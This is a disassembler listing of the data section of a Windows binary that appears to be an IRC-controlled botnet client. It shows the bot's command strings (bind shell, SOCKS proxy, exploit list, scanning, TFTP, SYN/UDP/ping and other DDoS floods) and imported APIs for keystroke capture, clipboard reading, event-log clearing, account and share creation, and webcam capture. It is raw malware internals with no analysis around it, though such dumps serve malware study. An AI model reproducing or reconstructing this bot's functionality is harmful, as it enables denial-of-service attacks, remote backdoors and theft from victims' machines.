aAl		db 'al',0               ; DATA XREF: sub_401ACD+1732o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+171Do
aT:					; DATA XREF: sub_401ACD+1708o
					; ___:00437C38o
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16F3o
unk_42C2BC	db  2Dh	; -		; DATA XREF: sub_401ACD+16BFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
unk_42C2E4	db  2Dh	; -		; DATA XREF: sub_401ACD+16B8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
aReboot		db 'reboot',0           ; DATA XREF: sub_401ACD+16A1o
		align 4
aI:					; DATA XREF: sub_401ACD+168Co
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1677o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1662o
					; ___:00437C50o
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+164Do
		align 10h
aQ:					; DATA XREF: sub_401ACD+1638o
					; ___:off_437C28o
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+1623o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+160Eo
		align 10h
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15F9o
		align 4
aR:					; DATA XREF: sub_401ACD+15E4o
					; sub_401ACD+3DA8o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15CFo
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+15BAo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+15A5o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1590o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1566o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1551o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+153Co
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+1527o
		align 4
dword_42C3A8	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401ACD+151Co
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+1517o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14FEo
		align 4
dword_42C3C8	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14F3o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14EEo
		align 10h
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14D5o
		align 4
dword_42C3EC	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+14CAo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+14C5o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+14ACo
		align 10h
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1497o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1482o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+146Do
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1458o
		align 4
dword_42C43C	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+144Do
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+142Fo
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+1406o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13DDo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+13B4o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+138Bo
unk_42C484	db  2Dh	; -		; DATA XREF: sub_401ACD+1371o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C4B8	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1336o
					; sub_401ACD+13D2o
dword_42C4C8	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1331o
					; sub_401ACD+13CDo
dword_42C4D8	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+1318o
					; sub_401ACD+13A9o
dword_42C4E8	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+1313o
					; sub_401ACD+13A4o
dword_42C4F8	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+12B8o
					; sub_401ACD+1424o
dword_42C504	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o
					; sub_401ACD+141Fo
dword_42C510	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao
					; sub_401ACD+13FBo
dword_42C51C	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o
					; sub_401ACD+13F6o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1235o
		align 4
dword_42C534	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+122Ao
					; sub_401ACD+12F7o
dword_42C540	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o
					; sub_401ACD+12F2o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+120Co
		align 4
dword_42C558	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+1201o
					; sub_401ACD+12D9o
dword_42C568	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11FCo
					; sub_401ACD+12D4o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11E3o
		align 4
dword_42C584	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11D8o
					; sub_401ACD+1357o
dword_42C594	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11D3o
					; sub_401ACD+1352o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+11BAo
		align 10h
dword_42C5B0	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo
					; sub_401ACD+1279o
dword_42C5BC	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo
					; sub_401ACD+1274o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1191o
dword_42C5D0	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1186o
					; sub_401ACD+125Bo
dword_42C5DC	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o
					; sub_401ACD+1256o
dword_42C5E8	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o
dword_42C5F4	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+115Do
dword_42C604	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1158o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+113Fo
		align 4
dword_42C624	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o
dword_42C630	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+112Fo
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+1116o
dword_42C644	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10EDo
		align 10h
dword_42C660	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10E2o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+10C4o
		align 4
dword_42C67C	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+10BCo
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+109Eo
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1089o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1074o
		align 4
dword_42C6A4	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1052o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+104Do
					; sub_401ACD+10B7o ...
		align 10h
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1034o
		align 10h
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+101Fo
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+100Ao
		align 10h
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FF5o
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FE0o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FCBo
					; sub_401ACD+2D69o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+FB6o
					; sub_401ACD+2D58o
		align 10h
aSt		db 'st',0               ; DATA XREF: sub_401ACD+FA1o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F8Co
		align 10h
aDed		db 'ded',0              ; DATA XREF: sub_401ACD+F77o
aDedication	db 'dedication',0       ; DATA XREF: sub_401ACD+F62o
		align 10h
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F4Do
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F38o
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F23o
		align 10h
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+F0Eo
		align 4
aD:					; DATA XREF: sub_401ACD+EF9o
					; ___:00437C54o
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_401ACD+EE4o
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+ECFo
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+EB7o
a63		db '63',0               ; DATA XREF: sub_401ACD+D84o
		align 10h
asc_42C750:				; DATA XREF: sub_401ACD+D5Co
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D1Fo
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+D14o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+D03o
		align 10h
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CE7o
		align 4
aUser_0		db '$user',0            ; DATA XREF: sub_401ACD+CD6o
		align 10h
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CC4o
aD_0		db '$%d',0              ; DATA XREF: sub_401ACD+C56o
aD_1		db '$%d-',0             ; DATA XREF: sub_401ACD+B92o
		align 10h
aK:					; DATA XREF: sub_401ACD+AA6o
					; sub_401ACD+3DD2o ...
		unicode	0, <k>,0
unk_42C794	db  2Dh	; -		; DATA XREF: sub_401ACD+A80o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42C7C8	db  2Dh	; -		; DATA XREF: sub_401ACD+A6Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42C7F8	db  2Dh	; -		; DATA XREF: sub_401ACD+A5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start chat thread, error: <%d>.',0
		align 10h
unk_42C830	db  2Dh	; -		; DATA XREF: sub_401ACD+9EFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 10h
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+958o
		align 4
unk_42C858	db  2Dh	; -		; DATA XREF: sub_401ACD+938o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42C89C	db  2Dh	; -		; DATA XREF: sub_401ACD+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42C8D8	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+90Fo
		dd 0A0Dh
dword_42C8F0	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8DBo
dword_42C8F8	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8D0o
		dd 0D017325h, 0Ah
dword_42C914	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+89Fo
dword_42C920	dd 23h			; DATA XREF: sub_401ACD+816o
					; sub_40CA7F+1Bo
unk_42C924	db  2Dh	; -		; DATA XREF: sub_401ACD+785o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+706o
					; sub_401ACD+995o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6DFo
		align 10h
dword_42C960	dd 43434401h, 0		; DATA XREF: sub_401ACD+6C1o
dword_42C968	dd 323333h		; DATA XREF: sub_401ACD+64Bo
					; sub_401ACD+ADCo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+629o
					; sub_409A72+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+61Do
					; sub_409A72+16o
unk_42C97C	db  2Dh	; -		; DATA XREF: sub_401ACD+5CCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 10h
unk_42C9A0	db  2Dh	; -		; DATA XREF: sub_401ACD+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401ACD+574o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+537o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+526o
					; sub_401ACD+5E9o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+60Do
unk_42C9F4	db  2Dh	; -		; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2EBCo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7C8Eo ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_4177CF:loc_417837o
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_4177CF+50o
		align 10h
asc_42CA60:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7DADo
		unicode	0, <!>,0
asc_42CA64:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E5Co ...
		unicode	0, < >,0
asc_42CA68	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_402601o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409B12:loc_40A77Co
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409B12+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409B12+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409B12+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409B12+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409B12+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o
		align 10h
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409B12:loc_40A6DEo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409B12+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409B12+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409B12:loc_40A694o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do
		align 10h
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409B12:loc_40A620o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409B12+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409B12:loc_40A5D6o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409B12:loc_40A58Co
		align 10h
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409B12+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo
					; sub_4185A4+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409B12+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409B12+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409B12+9C5o
		align 10h
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409B12+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409B12+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo
		align 10h
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409B12+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409B12+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409B12+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409B12:loc_40A470o
					; sub_4185A4+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409B12+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409B12+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409B12+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409B12:loc_40A411o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o
		align 10h
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409B12+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o
		align 10h
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409B12:loc_40A2F1o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409B12+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409B12+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409B12+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409B12+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409B12+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409B12+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409B12+658o
		align 10h
aAccept		db 'accept',0           ; DATA XREF: sub_409B12+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409B12+63Eo
		align 10h
aSelect		db 'select',0           ; DATA XREF: sub_409B12+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409B12+629o
		align 10h
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409B12+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409B12+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409B12+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409B12+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409B12+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409B12+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409B12+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409B12+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409B12+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409B12+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409B12+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409B12+57Bo
		align 10h
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409B12+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409B12+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409B12+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409B12+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409B12+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409B12+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409B12+525o
		align 10h
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409B12+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409B12+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409B12+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409B12+487o
		align 10h
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409B12+47Ao
		align 10h
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409B12+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409B12+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409B12:loc_409F3Fo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409B12:loc_409F17o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo
		align 10h
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409B12+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409B12+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409B12+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409B12+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409B12:loc_409E69o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o
		align 10h
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409B12+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409B12+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409B12+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409B12+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409B12+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409B12+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409B12+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409B12:loc_409D71o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409B12+20Do
		align 10h
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409B12+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao
		align 10h
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409B12+1A0o
		align 10h
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409B12+193o
		align 10h
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409B12+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409B12+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409B12+15Fo
		align 10h
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409B12+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409B12+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409B12:loc_409C47o
					; sub_424D78+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao
		align 10h
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409B12+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409B12+79o
		align 10h
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409B12+52o
		align 4
